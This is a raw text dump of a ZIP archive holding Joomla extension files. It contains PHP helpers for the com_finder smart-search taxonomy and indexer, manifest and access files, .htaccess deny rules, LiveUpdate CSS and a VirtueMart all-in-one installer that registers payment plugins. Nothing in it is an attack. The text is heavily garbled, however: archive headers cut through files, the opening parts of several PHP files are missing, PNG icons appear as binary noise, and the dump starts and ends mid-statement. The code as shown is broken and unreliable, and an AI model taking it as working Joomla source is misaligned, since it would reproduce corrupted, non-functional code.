Exception($db->getErrorMsg(), 500); } return true; } /** * Method to get the title of all taxonomy branches. * * @return array An array of branch titles. * * @since 2.5 * @throws Exception on database error. */ public static function getBranchTitles() { $db = JFactory::getDBO(); // Set user variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a query to get the taxonomy branch titles. $query = $db->getQuery(true); $query->select($db->quoteName('title')); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = 1'); $query->where($db->quoteName('state') . ' = 1'); $query->where($db->quoteName('access') . ' IN (' . $groups . ')'); // Get the branch titles. $db->setQuery($query); $results = $db->loadColumn(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $results; } /** * Method to find a taxonomy node in a branch. * * @param string $branch The branch to search. * @param string $title The title of the node. * * @return mixed Integer id on success, null on no match. * * @since 2.5 * @throws Exception on database error. */ public static function getNodeByTitle($branch, $title) { $db = JFactory::getDBO(); // Set user variables $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); // Create a query to get the node. $query = $db->getQuery(true); $query->select('t1.*'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t1'); $query->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id'); $query->where('t1.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $query->where('t1.' . $db->quoteName('state') . ' = 1'); $query->where('t1.' . $db->quoteName('title') . ' LIKE "' . $db->escape($title) . '%"'); $query->where('t2.' . $db->quoteName('access') . ' IN (' . $groups . ')'); $query->where('t2.' . $db->quoteName('state') . ' = 1'); $query->where('t2.' . $db->quoteName('title') . ' = ' . $db->quote($branch)); // Get the node. $db->setQuery($query, 0, 1); $result = $db->loadObject(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $result; } /** * Method to remove map entries for a link. * * @param integer $linkId The link to remove. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ public static function removeMaps($linkId) { // Delete the maps. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy_map')); $query->where($db->quoteName('link_id') . ' = ' . (int) $linkId); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return true; } /** * Method to remove orphaned taxonomy nodes and branches. * * @return integer The number of deleted rows. * * @since 2.5 * @throws Exception on database error. */ public static function removeOrphanNodes() { // Delete all orphaned nodes. $db = JFactory::getDBO(); /*$query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy') . ' AS t'); $query->join('LEFT', $db->quoteName('#__finder_taxonomy_map') . ' AS m ON m.node_id = t.id'); $query->where('t.' . $db->quoteName('parent_id') . ' > 1'); $query->where('m.' . $db->quoteName('link_id') . ' IS NULL');*/ //@TODO: Query does not work with JDatabaseQuery, does not support DELETE t.*, must be DELETE FROM ... $query = 'DELETE t.*' . ' FROM ' . $db->quoteName('#__finder_taxonomy') . ' AS t' . ' LEFT JOIN ' . $db->quoteName('#__finder_taxonomy_map') . ' AS m ON m.node_id = t.id' . ' WHERE t.' . $db->quoteName('parent_id') . ' > 1' . ' AND m.' . $db->quoteName('link_id') . ' IS NULL'; $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return $db->getAffectedRows(); } /** * Method to store a node to the database. This method will accept either a branch or a node. * * @param object $item The item to store. * * @return boolean True on success. * * @since 2.5 * @throws Exception on database error. */ protected static function storeNode($item) { $db = JFactory::getDBO(); // Check if we are updating or inserting the item. if (empty($item->id)) { // Insert the item. $db->insertObject('#__finder_taxonomy', $item, 'id'); } else { // Update the item. $db->updateObject('#__finder_taxonomy', $item, 'id'); } // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return true; } } PKs>\ddp[ [ %com_finder/helpers/indexer/result.phpnuW+A array('title', 'subtitle', 'id'), FinderIndexer::TEXT_CONTEXT => array('summary', 'body'), FinderIndexer::META_CONTEXT => array('meta', 'list_price', 'sale_price'), FinderIndexer::PATH_CONTEXT => array('path', 'alias'), FinderIndexer::MISC_CONTEXT => array('comments') ); /** * The indexer will use this data to create taxonomy mapping entries for * the item so that it can be filtered by type, label, category, * or whatever. * * @var array * @since 2.5 */ protected $taxonomy = array(); /** * The content URL. * * @var string * @since 2.5 */ public $url; /** * The content route. * * @var string * @since 2.5 */ public $route; /** * The content title. * * @var string * @since 2.5 */ public $title; /** * The content description. * * @var string * @since 2.5 */ public $description; /** * The published state of the result. * * @var integer * @since 2.5 */ public $published; /** * The content published state. * * @var integer * @since 2.5 */ public $state; /** * The content access level. * * @var integer * @since 2.5 */ public $access; /** * The content language. * * @var string * @since 2.5 */ public $language = '*'; /** * The publishing start date. * * @var string * @since 2.5 */ public $publish_start_date; /** * The publishing end date. * * @var string * @since 2.5 */ public $publish_end_date; /** * The generic start date. * * @var string * @since 2.5 */ public $start_date; /** * The generic end date. * * @var string * @since 2.5 */ public $end_date; /** * The item list price. * * @var mixed * @since 2.5 */ public $list_price; /** * The item sale price. * * @var mixed * @since 2.5 */ public $sale_price; /** * The content type id. This is set by the adapter. * * @var integer * @since 2.5 */ public $type_id; /** * The magic set method is used to push additional values into the elements * array in order to preserve the cleanliness of the object. * * @param string $name The name of the element. * @param mixed $value The value of the element. * * @return void * * @since 2.5 */ public function __set($name, $value) { $this->elements[$name] = $value; } /** * The magic get method is used to retrieve additional element values * from the elements array. * * @param string $name The name of the element. * * @return mixed The value of the element if set, null otherwise. * * @since 2.5 */ public function __get($name) { // Get the element value if set. if (array_key_exists($name, $this->elements)) { return $this->elements[$name]; } else { return null; } } /** * The magic isset method is used to check the state of additional element * values in the elements array. * * @param string $name The name of the element. * * @return boolean True if set, false otherwise. * * @since 2.5 */ public function __isset($name) { return isset($this->elements[$name]); } /** * The magic unset method is used to unset additional element values in the * elements array. * * @param string $name The name of the element. * * @return void * * @since 2.5 */ public function __unset($name) { unset($this->elements[$name]); } /** * Method to retrieve additional element values from the elements array. * * @param string $name The name of the element. * * @return mixed The value of the element if set, null otherwise. * * @since 2.5 */ public function getElement($name) { // Get the element value if set. if (array_key_exists($name, $this->elements)) { return $this->elements[$name]; } else { return null; } } /** * Method to set additional element values in the elements array. * * @param string $name The name of the element. * @param mixed $value The value of the element. * * @return void * * @since 2.5 */ public function setElement($name, $value) { $this->elements[$name] = $value; } /** * Method to get all processing instructions. * * @return array An array of processing instructions. * * @since 2.5 */ public function getInstructions() { return $this->instructions; } /** * Method to add a processing instruction for an item property. * * @param string $group The group to associate the property with. * @param string $property The property to process. * * @return void * * @since 2.5 */ public function addInstruction($group, $property) { // Check if the group exists. We can't add instructions for unknown groups. if (array_key_exists($group, $this->instructions)) { // Check if the property exists in the group. if (!in_array($property, $this->instructions[$group])) { // Add the property to the group. $this->instructions[$group][] = $property; } } } /** * Method to remove a processing instruction for an item property. * * @param string $group The group to associate the property with. * @param string $property The property to process. * * @return void * * @since 2.5 */ public function removeInstruction($group, $property) { // Check if the group exists. We can't remove instructions for unknown groups. if (array_key_exists($group, $this->instructions)) { // Search for the property in the group. $key = array_search($property, $this->instructions[$group]); // If the property was found, remove it. if ($key !== false) { unset($this->instructions[$group][$key]); } } } /** * Method to get the taxonomy maps for an item. * * @param string $branch The taxonomy branch to get. [optional] * * @return array An array of taxonomy maps. * * @since 2.5 */ public function getTaxonomy($branch = null) { // Get the taxonomy branch if available. if ($branch !== null && isset($this->taxonomy[$branch])) { // Filter the input. $branch = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $branch); return $this->taxonomy[$branch]; } return $this->taxonomy; } /** * Method to add a taxonomy map for an item. * * @param string $branch The title of the taxonomy branch to add the node to. * @param string $title The title of the taxonomy node. * @param integer $state The published state of the taxonomy node. [optional] * @param integer $access The access level of the taxonomy node. [optional] * * @return void * * @since 2.5 */ public function addTaxonomy($branch, $title, $state = 1, $access = 1) { // Filter the input. $branch = preg_replace('#[^\pL\pM\pN\p{Pi}\p{Pf}\'+-.,]+#mui', ' ', $branch); // Create the taxonomy node. $node = new JObject; $node->title = $title; $node->state = (int) $state; $node->access = (int) $access; // Add the node to the taxonomy branch. $this->taxonomy[$branch][$node->title] = $node; } } PKs>\֌QQcom_finder/helpers/finder.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PKs>\ql l "com_finder/helpers/html/finder.phpnuW+AgetQuery(true); $query->select('DISTINCT t.title AS text, t.id AS value'); $query->from($db->quoteName('#__finder_types') . ' AS t'); $query->join('LEFT', $db->quoteName('#__finder_links') . ' AS l ON l.type_id = t.id'); $query->order('t.title ASC'); $db->setQuery($query); $rows = $db->loadObjectList(); // Check for database errors. if ($db->getErrorNum()) { return; } // Compile the options. $options = array(); foreach ($rows as $row) { $key = $lang->hasKey(FinderHelperLanguage::branchPlural($row->text)) ? FinderHelperLanguage::branchPlural($row->text) : $row->text; $string = JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_($key)); $options[] = JHtml::_('select.option', $row->value, $string); } return $options; } /** * Creates a list of maps. * * @return array An array containing the maps that can be selected. * * @since 2.5 */ public static function mapslist() { $lang = JFactory::getLanguage(); // Load the finder types. $db = JFactory::getDBO(); $query = $db->getQuery(true); $query->select('title AS text, id AS value'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = 1'); $query->order('ordering, title ASC'); $db->setQuery($query); $rows = $db->loadObjectList(); // Check for database errors. if ($db->getErrorNum()) { return; } // Compile the options. $options = array(); $options[] = JHtml::_('select.option', '1', JText::_('COM_FINDER_MAPS_BRANCHES')); foreach ($rows as $row) { $key = $lang->hasKey(FinderHelperLanguage::branchPlural($row->text)) ? FinderHelperLanguage::branchPlural($row->text) : $row->text; $string = JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_($key)); $options[] = JHtml::_('select.option', $row->value, $string); } return $options; } /** * Creates a list of published states. * * @return array An array containing the states that can be selected. * * @since 2.5 */ public static function statelist() { $options = array(); $options[] = JHtml::_('select.option', '1', JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_('JPUBLISHED'))); $options[] = JHtml::_('select.option', '0', JText::sprintf('COM_FINDER_ITEM_X_ONLY', JText::_('JUNPUBLISHED'))); return $options; } } PKs>\6"com_finder/helpers/html/index.htmlnuW+APKs>\)!com_finder/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\/&^com_finder/config.xmlnuW+A
      PKs>\GHHcom_finder/controller.phpnuW+Ainput; $cachable = true; // Load plug-in language files. FinderHelperLanguage::loadPluginLanguage(); // Set the default view name and format from the Request. $viewName = $input->get('view', 'search', 'word'); $input->set('view', $viewName); // Don't cache view for search queries if ($input->get('q') || $input->get('f') || $input->get('t')) { $cachable = false; } $safeurlparams = array( 'f' => 'INT', 'lang' => 'CMD' ); return parent::display($cachable, $safeurlparams); } } PKs>\com_finder/access.xmlnuW+A
      PKs>\`[com_finder/finder.xmlnuW+A com_finder Joomla! Project (C) 2005 - 2014 Open Source Matters. All rights reserved. August 2011 GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_FINDER_XML_DESCRIPTION COM_FINDER controller.php index.html finder.php router.php controllers helpers models views js images css index.html sql/install.mysql.sql sql/install.postgresql.sql sql/uninstall.mysql.sql sql/uninstall.postgresql.sql en-GB/en-GB.com_finder.ini access.xml config.xml controller.php finder.php index.html controllers helpers models sql tables views en-GB/en-GB.com_finder.ini en-GB/en-GB.com_finder.sys.ini COM_FINDER PKs>\1com_finder/finder.phpnuW+Aexecute(JFactory::getApplication()->input->get('task', '', 'word')); $controller->redirect(); PKs>\)(com_virtuemart_allinone/assets/.htaccessnuW+A Order allow,deny Deny from all PKs>\q-com_virtuemart_allinone/assets/current-32.pngnuW+APNG  IHDR szz pHYs  IDATX ŖPT}쏷n!AMaC$m"t&hLm"2)d4i)G8qL?Ѡ rYDxxwo}dA4zww;s?s]D){ٸ{ g.V0t-ݺ u u+XwE܀opO=_f<P h^o+*g7`sH9Dk(ay'a,|\T*{*ti_PjI`v~χ7Sp*(~//bZR~dJG/3ჴy%Д!>yU2̹+ޠ mf85?a*:Arv_l ^M[YM3RF^pjtEZXo?wp|~dݮ YƲ~V=SZ"aT( .o|pVBiGDr/lr'ďA}]θ]W`5(Nj|~SsU=;R^1<}}źy߅ճQJ|αwoz_s~?ïEnA5;O;:}:FGm錄mO@pÍcw2i`Αl1\. /com_virtuemart_allinone/assets/nosupport-32.pngnuW+APNG  IHDR szz pHYs   ZIDATX uWkl3Oxk0P3ƴȩI("-hRVi?H-D! $!@B Dv)cH(#,ػ玽ρ]|sϹ>B&']-uufm֭UoȱTABOQjF4s߽ƭD`φ ݻW-|ᩧZL(V# II`!d~uݸ OX{zqڊ&]om*SI6& PP0E',͠xrϵD[>&5MMMqvO{dJ˄"57aHQ8ۭfI8Hl;r$ F>[єɴ+E>.`L8zG:C7vS_jG]͏!…/BE^g4Q,f1l6aYx? ?7/IB& &a%}z~4[{{Ag8W/mݸ1mڴuxvhT3hPFC:D` | Θ$ݽKB2@@G:J@'Hݑ[B-9~c-Or$sL;L| b1*dXO_zEw R/i%hE& yc1GQ((ܵf64_jkMHW"|C!qtZDӼ_BL"`i{"sWVmŕ/˜DAI ٦Ozβ#:& z2]~EJF &F\Q+QxINQ޽4zRiقVΛgw&{d(zu\I 5̐4Ng[xpsr@-B_^M bȜL$_0b CgAj'NaJc*n@bdi8q׬ÇMPvJHs6bV:bE4:`gQK ,Z*#5JE)6,ʁ#]K^KB #vw ͻs(cuDNE |XTDY.Z<q<\:b(앁.YXsDm?5eg֢q8_`4{Nk}]*_TOEKp\`Pӎ)aŧ'.:I ㆁ_ЎTX-g[SCޞ!p0m9 (28h[6}&Q 'LFyf0JA0 fq;FP3'*EzH9H$” M%T cdo7|7#zFDɹlԁ@Ad_cwGqy{z\)l cK_F nlevFNԋtZ+{{ΝkDNFƠ'):m $U@ 뭞.ͯYJ瓂=_2ƭyyב&nb({яw#gF nbJ7JJ')JJJPHOu$d8]dÆ$lL&OA Hk`,(e|(+H&Z':&IBbȹ4p; a剿hƮ@pWĉ}h_ǍNqðXlF`(N,[WwP(4 Θ?p gY _kڗ v*b x H~mjŐM*و0 nѳVۋkAf@#R^;gmҴ NXIUUse3W{? 3wb9IENDB`PKs>\/qT(com_virtuemart_allinone/assets/ok-24.pngnuW+APNG  IHDRw= pHYs  IDATH mLSWmo@hkaP4$(ʋɾ܊Kd#`lֲ1gt& e0`A hGA!PhK[/lq{9?BXqü@z= 06†_#`q^8Nh%BG9OGTd\a~]'@MykG>Dsx'y;laxRdٹŹ*+`6<\((WX,i(*V?5%-q ˲ՉNٯN>NoN(T01%n\!PD8D~ ֖$i0pXI_\ l8ה 63ql Aw@%<ϠQX@iZvefBRD,gR枦;;5%֦݁hWٗDӂ"sPbzoD)mJd^eNB5nPrZ|ᴴ#DLu{M/d1a#L;e@_ڲmZ*QN`h ޘu-ա~4d446Vm{(6*PC<5ۏ^Ene;4i(c$77/Cp.;4Iz)l?xd>edlx&ɒqbUpqKMUfuSnZJd?FNBvv80p}bmpy{f:C9R4$Zi:ްP(?n.8utt!|p9r'N{; &&"JJˀaldy³hZ2FH9~w,g,"p.B&U=14+ӥ D.ʧdZ$a4Q~JnvKv;(Enhi"܄b3:52>Q?~ej875@> :[n&oZւXQDn05X,*h>̅)|naL|k7CőG_}?5ozCa=k[ 8Ru…+XYj-PyAU{ΡBF?qX"鍊|2b/iG2ar31b} GOZ]4qcIENDB`PKs>\п -com_virtuemart_allinone/assets/liveupdate.cssnuW+A/** * @package LiveUpdate * @copyright Copyright ©2011 Nicholas K. Dionysopoulos / AkeebaBackup.com * @license GNU LGPLv3 or later */ @CHARSET "UTF-8"; .icon-48-liveupdate { background-image: url(liveupdate-48.png) } var { font-style: italic; font-weight: bold; } p.liveupdate-url { font-family: "Lucida Sans Mono", "Courier New", Courier, monospace; } div.liveupdate-notsupported, div.liveupdate-stuck { border: thin solid #990000; background: #fff0f0; padding: 1em; color: #330000; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } div.liveupdate-notsupported h3, div.liveupdate-stuck h3 { background: transparent url("fail-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: red; text-shadow: 1px 1px 6px #cccc00; } div.liveupdate-hasupdates { border: thin solid #999900; background: #fffff0; padding: 1em; color: #333300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #ff8; -webkit-box-shadow: 5px 5px 5px #ff8; box-shadow: 5px 5px 5px #ff8; } div.liveupdate-hasupdates h3 { background: transparent url("warn-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #660; text-shadow: 1px 1px 6px #ffff00; } div.liveupdate-noupdates { border: thin solid #009900; background: #f0fff0; padding: 1em; color: #003300; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #8f8; -webkit-box-shadow: 5px 5px 5px #8f8; box-shadow: 5px 5px 5px #8f8; } div.liveupdate-noupdates h3 { background: transparent url("ok-24.png") top left no-repeat; min-height: 24px; padding: 2px 0 0 28px; font-size: large; color: #060; text-shadow: 1px 1px 6px #00ff00; } div.liveupdate-infotable { width: 620px; margin: auto auto; padding: 2px; border: thin solid #333; background: #fefefe; -moz-border-radius: 5px; -webkit-border-radius: 5px; -border-radius: 5px; } div.liveupdate-infotable .row0 { background: #fcfcfc } div.liveupdate-infotable .row1 { background: #f0f0f0 } div.liveupdate-row { padding: 5px 1px } span.liveupdate-label { display: inline-block; width: 200px; font-weight: bold; } span.liveupdate-data { display: inline-block; width: 400px; overflow: none } p.liveupdate-buttons { text-align: center; margin: 1em; } p.liveupdate-error-needsauth { margin: 1em; background: #ffcccc; border: medium solid #ff0000; color: #660000; font-size: large; font-weight: bold; padding: 1em; text-align: center; text-shadow: 1px 1px 2px white; -moz-border-radius: 10px; -webkit-border-radius: 10px; -border-radius: 10px; -moz-box-shadow: 5px 5px 5px #f88; -webkit-box-shadow: 5px 5px 5px #f88; box-shadow: 5px 5px 5px #f88; } p.liveupdate-poweredby { font-size: 8pt; color: silver; margin: 1em 0 0.5em 0 } p.liveupdate-poweredby a { color: silver; } div.liveupdate-ftp p { margin: 1em 2em; line-height: 140%; border: thin solid #00c; padding: 0.5em; color: #006; background-color: #f0f0ff; font-size: 12pt; text-shadow: 1px 1px 3px silver } PKs>\^ON*com_virtuemart_allinone/assets/warn-24.pngnuW+APNG  IHDRw= pHYs  NIDATH UkUv[kX`PM . >Pė}RD((m!- FPb 6`c-5MnwMi?ffx؝;ss(c ԇ*ܾ6l՚,ޓ( v3pE>ː BF.>Tnbש4uX4a8M`߃RhL<CP ]$>U`~`卌ϤiRHMNFe(o.9\Ь X 1= Vp%z;gTŁPtCmQ[Ϋ*YǦgUgvKƇ,=s0_Y6UsFe1rKP2K ;Q[ɿ2nM3A ]%Xghpg/!j A2=K_ZU(jW74)6U4#dp@)'@4lvU) i+]Śm4L@Qssj6nvZ+_ձi%*d`b8֏7g@Y6U NL5S;*f#;u[;-3"96 o9ޓ9TattQ#I6BﱁdFnvy.Bnͣf$Z q.]f YXA8A&2}S@~#q|ER{9|;zܸ m 5,U0Ġo ~=t0"Gκsѿr*!h"x9p@~1>)6sWW?E_t5aK`K)8އBm:Cb|Mz9cv>3xO=G(z~b'# -vH5k.jPӱ5Af+ox a >ۋGY{ǰ\km‹i)e?uLd7}W<ijqcX痢Ki(tq<,d,JޅE| 0RHl ]|ĵfA͚q Yڛ!IENDB`PKs>\2;\\*com_virtuemart_allinone/assets/fail-24.pngnuW+APNG  IHDRw= pHYs  IDATH mVmlS~ιc;q $1 #FƠ&Ԋ jGºǴNU'X;m մ`CZʀB)]nI khY~{P*Z^sy>ǹ|N"qh@ )&0\>I4COa%JXLK|FzJGm-=ֶ 5XWf.71;4tm'./]1 tK^b۾jݱEx҃&@\ܸ]_.&u)o ~pWUuQ(L6L-`< p??:[x;$>^/Knή{kxv`&|6+Xʺe)TܼO tmv>||U>~Y͏}s]jU t+B!q̐ǯ~φe& Y8,L,M-m}eΝP__z֤WNoܨQ&NS%zd3Q;ܹ^M}a .nJ<>ljR6/ȃ H"Cjewܒk+ғhj#dlvq3؇ IvF7F131ʊ%E^63#c7.>5)Ē6.Y{unbT}6ˈ ~\P3jHzũk#-gο1mˎ~0#OX-7DѨTi#%sfͣy/G LcCCp3ł+ဪ^w\G匪ֵU25>+SmXSlٵ\) ϡ+:aC7By$3sx|ӎ-Pmv%[TQSj{ MljhR|o2{脳 -6Rs"IUmg)քÕ SI"6b9(HìKYyiYE'?lCvӎl'K.dTUYīw+7 v.,UH$9 #fvipA9O4zӲ.VfBkCCkyD\ǭRҬv$|YL.*A)CD"^tjX5vFt_ dr Ҫb>4?L}}gɱ~E*Ր+f$odN=\M,+0ɻ [+7ǵ~RL}kDY=:Y~kWṲ;A 4ixytoSHSeMM[W@pW[bme=+H;,#{ E&v?^SBi&qn9Pu2B>#=C)lztM}cf"=Đ>A>뾔Kkifi9ѠS0C!Ţ*RD[Ig谬aV;[|nX,?Ϯ[hFCM %7řŕ8\8As¹|7w %DS-Ȗ{MK4dtŵ@vEo>bpҀ͓ww D:`50P.\^|_. 4Ʒ$;GIENDB`PKs>\vpVPP,com_virtuemart_allinone/assets/update-32.pngnuW+APNG  IHDR szz pHYs  IDATX W[lUΜK QoR"b0& /ĤM|'>ht4BbL4'i(!1z#U Жnﻳ3?̜}9ZXu9 Ӿ %LČ.6';D V6l@p0 @~Hr4VoPJRml@2lM8A Ric TTATPB:`#Ќ~؋ %"\F<-!cfAdԈp eY(S$ -@ a+$bZ5^TgyM55)NK l" Y- RfR00k8D@!2 k I !]Q9P(EU~k"۰nk Ib#?j?ucp<0=lm)UCxmIh%N~ #UPn:)=ROH<Ⱦ;iu+`Aj&$܆E޳Bŝ 5R2Տo빼:tv R#v9FD`2@qGTm@Ŷr}Q G<Պ-}Z|hM"<'(eR(w LE[n!^+1Uu=MkTGv)}rQBX⏂XkdS]T-&|`Q.`S[v7ٛwΘ WptE׌1  %SJq޼]:V҉r;K ˰Ps^|ܝHQne"fiqŒtKx`+OEYքp D?F VSE`$a>6fn?s=[:dH0HˎOt g8w"dO(@Iج|vSK(1$ZPZ$>p6iH! z1F/C6£/ < Iy㐴пXPLҁ($E_~mz]gU$IyCV 4к>QAT!l>"Ew/[HbH+h{uwXz2$sBUqVPPa]x9BI//3N4|[\5r#ZSꑱHy2Jc $^o;'B ǞMsDgGϋy1>.Do.X$a 'fR^'CT$1e*M 2 LJoI?px=1 A<(Xnc_a |cNw[_pF@DŽp_U$-VJ|P^$a i=C R,,[UxYDJ|3xƜpHyzΘ5+@.o/$>L6XX籽 ؅c[±m':+0jDDZwF^-ʷk xSm4‚IENDB`PKs>\://)com_virtuemart_allinone/assets/index.htmlnuW+A PKs>\^^0com_virtuemart_allinone/assets/liveupdate-48.pngnuW+APNG  IHDR00W pHYs  IDAThZ p\ř1}K6Ɩm"A. %d@@%Y6VEq2+ !˧oɺl3:~G11ð=͌}W̨BI,k3ݧ敃Np.TZ$\L:('1L TW\o?TxfZ8_W}A /\zVۉcKuJd!Q.*p< zH&og+|~"@  zn'V{|qiB425"$ nLu`T=A)?ڦ{<5zztQMʙ/=W' ltZP, 0v3c~NE\R&gx_'IfbEpQ# \Tm8l)Pqݍc7Bwy XQ-W9%??,"J>P;$7u f8GiJDJ^v61"jwةA HIHĒYNIr=bf kav-Mgn&%/]4w4$ZLqsl*idOArnL|/SGLQdydrd:h h^{ẄKxX>PrkUj:.9ʼOtxKT{lH |-+6h~&9ڲÉ:czN++o#< y؃}^14np'uC HBkJr?hTJHr[ ܲT6"g NQa -j ^)? ~-ȉdJ  <#@[| VUII/TsG{6Dn[2`ףCv[/R9ԗף}b?\=%x69nBpS E<: B}):>O,]\&/~a\°~5kPU,YC-ίzWOd w{)F*/.Hǿw<֋fTⲢma3ch| zgr \!~̀y$7%Flw.ާ_Xz ;RHV_ `eQ >pWLnZ\Smc=ONv3KeYgop0 )/)1KqVնΩNIn R!p&`3SJH]bc%P/ ^"ֈӑ !/7VZg Fnq&J2w;H$d:g>1i,07w}[^a'lM%ߪj˾?7t+fddTI2E^(TBͳs&)!2G~(ږ%}#\g#BQpn38Gnw_?0I|M𣹞?(g,xto -1wP!Wk&yY)GgosPHb! XY: @)>9t詿Xꡍ/=im&c;%!7moTDt_!XFXXZdMA@Bfp\ѸB/'n|+T阛c1`+{WO$]YTB<MeH<=ZG\J ! aSe+$aԿ0xgY뭦]gS =EΥe`=Ej 0+yU|w i.L+6 CBH Tf(%a3x-TZ?`fGعj]?̟z˺ǃ'sCBiЀ76M,7:T`Vbn մkL B*Rй$mPӌ3ffISOIFoۼ) 3 ~­,!lkCCqe L]x¢8xmY@lC^u!qhԈɿq[Fhu}݀|OΒ]dgC>[h|Lzb[پy{~Е,$֪XS*X/| 60^^wq:YD:,<Xlњf_,yY~IqAnCJQ,k.D|/-_ues3U%k~xd{8KC!~G=yx0bK=zLKZ/%ˎ].5tuɦ*Há!_Į wTx|d Sl۲hKNCM&6pg7\K+xUw޿G葖 [Cg_FUP%bd C&9>cH)SGt[i*UG<3oYkz{C{ޕUiSr@M8Cfxe7I/ 9ۄĠ("+&O͡C[Pq#҄$ #0 Aնm xd]sfxsMD?XfA(ULc]&IZ^OKR++Ww׆wmw׶oizS كJCjG* odj[ ƺ*#uGcQ<>nD҃rovws1ɉ{l,|ub-+2w~:5UB"ረgD*}}  dz|0 p¼rHhqc 0SԠz"[۱g Хٖ_UU bZʹZq;IʘCo$Si/Y,GN\UUޒakͥ avЛ]$⏂HʃW:>ᇻDt8!n $vȀ$f?+hK+SY8!G*}M8zYƄ)!8r>erl*QC<;&gvX%IH7Cfje^[sMM!8ru;QIB׹8,q /C-7ޜm0w񜞜ܜN&Bj}U3owJάlصS:v8%#e}Nne V@|Ɍerc)uzVPH-/ZK1'i+R׍+'^z\%]8GbCJO lnMCeAi\)7com_virtuemart_allinone/plugins/vmcalculation/.htaccessnuW+A Order allow,deny Deny from all PKs>\V8com_virtuemart_allinone/plugins/vmcalculation/index.htmlnuW+A PKs>\))com_virtuemart_allinone/plugins/.htaccessnuW+A Order allow,deny Deny from all PKs>\V5com_virtuemart_allinone/plugins/vmshipment/index.htmlnuW+A PKs>\)4com_virtuemart_allinone/plugins/vmshipment/.htaccessnuW+A Order allow,deny Deny from all PKs>\)3com_virtuemart_allinone/plugins/vmpayment/.htaccessnuW+A Order allow,deny Deny from all PKs>\V4com_virtuemart_allinone/plugins/vmpayment/index.htmlnuW+A PKs>\)0com_virtuemart_allinone/plugins/search/.htaccessnuW+A Order allow,deny Deny from all PKs>\V3com_virtuemart_allinone/plugins/vmcustom/index.htmlnuW+A PKs>\)2com_virtuemart_allinone/plugins/vmcustom/.htaccessnuW+A Order allow,deny Deny from all PKs>\.>ff-com_virtuemart_allinone/script.vmallinone.phpnuW+AvmInstall(); } public function install () { //$this->vmInstall(); } public function discover_install () { //$this->vmInstall(); } public function postflight () { $this->vmInstall (); } public function vmInstall () { jimport ('joomla.filesystem.file'); jimport ('joomla.installer.installer'); $this->createIndexFolder (JPATH_ROOT . DS . 'plugins' . DS . 'vmcalculation'); $this->createIndexFolder (JPATH_ROOT . DS . 'plugins' . DS . 'vmcustom'); $this->createIndexFolder (JPATH_ROOT . DS . 'plugins' . DS . 'vmpayment'); $this->createIndexFolder (JPATH_ROOT . DS . 'plugins' . DS . 'vmshipment'); $this->path = JInstaller::getInstance ()->getPath ('extension_administrator'); $this->updateShipperToShipment (); $this->installPlugin ('Standard', 'plugin', 'standard', 'vmpayment'); $this->installPlugin ('Klarna', 'plugin', 'klarna', 'vmpayment'); $this->installPlugin ('KlarnaCheckout', 'plugin', 'klarnacheckout', 'vmpayment'); $this->installPlugin ('Sofort Banking/Überweisung', 'plugin', 'sofort', 'vmpayment'); $this->installPlugin ('PayPal', 'plugin', 'paypal', 'vmpayment'); $this->installPlugin ('Heidelpay', 'plugin', 'heidelpay', 'vmpayment'); //$this->installPlugin ('PayZen', 'plugin', 'payzen', 'vmpayment'); //$this->installPlugin ('SystemPay', 'plugin', 'systempay', 'vmpayment'); $this->installPlugin ('Moneybookers', 'plugin', 'moneybookers', 'vmpayment'); $this->installPlugin ('Moneybookers Credit Cards', 'plugin', 'moneybookers_acc', 'vmpayment'); $this->installPlugin ('Moneybookers Lastschrift', 'plugin', 'moneybookers_did', 'vmpayment'); $this->installPlugin ('Moneybookers iDeal', 'plugin', 'moneybookers_idl', 'vmpayment'); $this->installPlugin ('Moneybookers Giropay', 'plugin', 'moneybookers_gir', 'vmpayment'); $this->installPlugin ('Moneybookers Sofortueberweisung', 'plugin', 'moneybookers_sft', 'vmpayment'); $this->installPlugin ('Moneybookers Przelewy24', 'plugin', 'moneybookers_pwy', 'vmpayment'); $this->installPlugin ('Moneybookers Online Bank Transfer', 'plugin', 'moneybookers_obt', 'vmpayment'); $this->installPlugin ('Moneybookers Skrill Digital Wallet', 'plugin', 'moneybookers_wlt', 'vmpayment'); $this->installPlugin ('Authorize.net', 'plugin', 'authorizenet', 'vmpayment'); $this->installPlugin ('Sofort iDeal', 'plugin', 